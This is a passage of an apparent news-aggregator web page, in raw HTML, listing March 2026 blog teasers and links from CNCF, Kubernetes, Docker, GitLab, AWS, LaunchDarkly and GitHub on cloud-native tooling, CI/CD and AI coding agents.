        <a href="#h3-sustaining-open-source-in-the-age-of-generative-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sustaining open source in the age of generative AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sustaining-open-source-in-the-age-of-generative-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Open source has always evolved alongside shifts in technology. From distributed version control and CI/CD, from containers to Kubernetes, each wave of tooling has reshaped how we build, collaborate, a</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/10/sustaining-open-source-in-the-age-of-generative-ai/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-announcing-the-ai-gateway-working-group" class="group relative scroll-mt-24">
        <a href="#h3-announcing-the-ai-gateway-working-group" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Announcing the AI Gateway Working Group
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-announcing-the-ai-gateway-working-group"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The community around Kubernetes includes a number of Special Interest Groups (SIGs) and Working Groups (WGs) facilitating discussions on important topics between interested contributors. Today, we&#39;re </p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/03/09/announcing-ai-gateway-wg/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-achieving-test-reliability-for-native-e2e-testing-beyond-fixing-broken-tests" class="group relative scroll-mt-24">
        <a href="#h3-achieving-test-reliability-for-native-e2e-testing-beyond-fixing-broken-tests" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Achieving Test Reliability for Native E2E Testing: Beyond Fixing Broken Tests
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-achieving-test-reliability-for-native-e2e-testing-beyond-fixing-broken-tests"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>End-to-end (E2E) tests are particularly important for native applications that run on various platforms (Android/iOS), screen sizes, and OS versions. E2E testing picks up differences in behavior acros</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/native-e2e-test-reliability/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-run-claude-code-with-docker-local-models-mcp-servers-and-secure-sandboxes" class="group relative scroll-mt-24">
        <a href="#h3-how-to-run-claude-code-with-docker-local-models-mcp-servers-and-secure-sandboxes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Run Claude Code with Docker: Local Models, MCP Servers, and Secure Sandboxes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-run-claude-code-with-docker-local-models-mcp-servers-and-secure-sandboxes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Claude Code is quickly becoming a go-to AI coding assistant for developers and increasingly for non-developers who want to build with code. But to truly unlock its potential, it needs the right local </p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/run-claude-code-with-docker/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-agent-execution-with-nanoclaw-and-docker-sandboxes" class="group relative scroll-mt-24">
        <a href="#h3-secure-agent-execution-with-nanoclaw-and-docker-sandboxes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure Agent Execution with NanoClaw and Docker Sandboxes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-agent-execution-with-nanoclaw-and-docker-sandboxes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agents have enormous potential to power secure, personal AI assistants that automate complex tasks and workflows. Realizing that potential, however, requires strong isolation, a codebase that teams ca</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/nanoclaw-docker-sandboxes-agent-security/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-observability-day" class="group relative scroll-mt-24">
        <a href="#h3-kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-observability-day" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 KubeCon + CloudNativeCon Europe 2026 Co-located Event Deep Dive: Observability Day
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-observability-day"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability Day has become a cornerstone gathering for the cloud native observability community. The event evolved from FluentCon at KubeCon Europe 2022 in Valencia and Open Observability Day at Kub</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/13/kubecon-cloudnativecon-europe-2026-co-located-event-deep-dive-observability-day/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-painless-support-and-hands-off-architecture-reviews" class="group relative scroll-mt-24">
        <a href="#h3-introducing-painless-support-and-hands-off-architecture-reviews" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing: Painless support and hands-off architecture reviews
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-painless-support-and-hands-off-architecture-reviews"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how the new diag plugin for faas-cli can be used to diagnose issues and make architecture reviews a hands-off exercise. It helps you (or us together) to answer two questions: What’s breaking? Ar</p>
<p><strong>📅 Mar 13, 2026</strong> • <strong>📰 OpenFaaS Blog</strong></p>
<p><a href="https://www.openfaas.com/blog/painless-support-with-diag/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-flexibility-over-lock-in-the-enterprise-shift-in-agent-strategy" class="group relative scroll-mt-24">
        <a href="#h3-flexibility-over-lock-in-the-enterprise-shift-in-agent-strategy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Flexibility Over Lock-In: The Enterprise Shift in Agent Strategy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-flexibility-over-lock-in-the-enterprise-shift-in-agent-strategy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Building agents is now a strategic priority for 95% of respondents in our latest State of Agentic AI research, which surveyed more than 800 developers and decision-makers worldwide. The shift is happe</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/enterprise-shift-in-agent-strategy/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-japans-cncf-devstats-2025" class="group relative scroll-mt-24">
        <a href="#h3-japans-cncf-devstats-2025" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Japan’s CNCF DevStats 2025
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-japans-cncf-devstats-2025"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Have you ever heard of CNCF’s DevStats? It is a tool that tracks and quantifies all contribution activities within CNCF projects by pulling data from GitHub. Using this data, we can analyze ongoing de</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/03/12/japans-cncf-devstats-2025/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-use-gitlab-container-virtual-registry-with-docker-hardened-images" class="group relative scroll-mt-24">
        <a href="#h3-how-to-use-gitlab-container-virtual-registry-with-docker-hardened-images" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to use GitLab Container Virtual Registry with Docker Hardened Images
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-use-gitlab-container-virtual-registry-with-docker-hardened-images"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you&#39;re a platform engineer, you&#39;ve probably had this conversation: &quot;Security says we need to use hardened base images.&quot; &quot;Great, where do I configure credentials for yet another registry?&quot; &quot;Also, ho</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/using-gitlab-container-virtual-registry-with-docker-hardened-images/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-automated-deployments-with-github-actions-for-amazon-ecs-express-mode" class="group relative scroll-mt-24">
        <a href="#h3-automated-deployments-with-github-actions-for-amazon-ecs-express-mode" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Automated deployments with GitHub Actions for Amazon ECS Express Mode
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-automated-deployments-with-github-actions-for-amazon-ecs-express-mode"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we will walk you through building an automated deployment pipeline using GitHub Actions. You will create a workflow that triggers on code changes, builds Docker images, pushes them to Am</p>
<p><strong>📅 Mar 10, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/automated-deployments-with-github-actions-for-amazon-ecs-express-mode/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-next-era-of-it-financial-management-reporting-with-the-new-ibm-apptio-report-studio" class="group relative scroll-mt-24">
        <a href="#h3-the-next-era-of-it-financial-management-reporting-with-the-new-ibm-apptio-report-studio" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Next Era of IT Financial Management Reporting with the New IBM Apptio Report Studio
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-next-era-of-it-financial-management-reporting-with-the-new-ibm-apptio-report-studio"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>IT financial management plays a critical role in ensuring IT investments are transparent, clearly understood across the business, and demonstrate critical business value. IT finance leaders depend on </p>
<p><strong>📅 Mar 9, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/the-next-era-of-it-financial-management-reporting-with-the-new-ibm-apptio-report-studio/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-protect-yourself-from-vibe-coding-errors" class="group relative scroll-mt-24">
        <a href="#h3-protect-yourself-from-vibe-coding-errors" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Protect yourself from vibe coding errors
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-protect-yourself-from-vibe-coding-errors"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Is AI-written code 100% trustworthy? Get control over vibe coding errors.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/prevent-ai-coding-errors-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-metrics-for-top-engineering-teams-look-different" class="group relative scroll-mt-24">
        <a href="#h3-why-metrics-for-top-engineering-teams-look-different" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why metrics for top engineering teams look different
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-metrics-for-top-engineering-teams-look-different"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Top engineering teams measure release health by looking at different metrics.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/engineering-metrics-for-high-performing-teams/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-where-homegrown-feature-flag-systems-break" class="group relative scroll-mt-24">
        <a href="#h3-where-homegrown-feature-flag-systems-break" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Where homegrown feature flag systems break
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-where-homegrown-feature-flag-systems-break"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Homegrown feature flag systems work at the start, but runtime demands expose hidden risks.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/where-homegrown-systems-break/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-online-evals-in-ai-configs-is-now-ga" class="group relative scroll-mt-24">
        <a href="#h3-online-evals-in-ai-configs-is-now-ga" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Online evals in AI Configs is now GA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-online-evals-in-ai-configs-is-now-ga"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Online evals in AI Configs help you define and monitor quality in production.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/online-evals-ai-configs-ga-customizable-judges/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-continuous-ai-for-accessibility-how-github-transforms-feedback-into-inclusion" class="group relative scroll-mt-24">
        <a href="#h3-continuous-ai-for-accessibility-how-github-transforms-feedback-into-inclusion" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Continuous AI for accessibility: How GitHub transforms feedback into inclusion
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-continuous-ai-for-accessibility-how-github-transforms-feedback-into-inclusion"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI automates triage for accessibility feedback, allowing us to focus on fixing barriers—turning a chaotic backlog into continuous, rapid resolutions. The post Continuous AI for accessibility: How GitH</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/continuous-ai-for-accessibility-how-github-transforms-feedback-into-inclusion/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-availability-report-february-2026" class="group relative scroll-mt-24">
        <a href="#h3-github-availability-report-february-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub availability report: February 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-availability-report-february-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In February, we experienced six incidents that resulted in degraded performance across GitHub services. The post GitHub availability report: February 2026 appeared first on The GitHub Blog.</p>
<p><strong>📅 Mar 12, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/github-availability-report-february-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-addressing-githubs-recent-availability-issues" class="group relative scroll-mt-24">
        <a href="#h3-addressing-githubs-recent-availability-issues" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Addressing GitHub’s recent availability issues
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-addressing-githubs-recent-availability-issues"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub recently experienced several availability incidents. We understand the impact these outages have on our customers and are sharing details on the stabilization work we’re prioritizing right now.</p>
<p><strong>📅 Mar 11, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/addressing-githubs-recent-availability-issues-2/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-ai-velocity-paradox-when-faster-code-is-breaks-devops" class="group relative scroll-mt-24">
        <a href="#h3-the-ai-velocity-paradox-when-faster-code-is-breaks-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The AI Velocity Paradox: When Faster Code is Breaks DevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
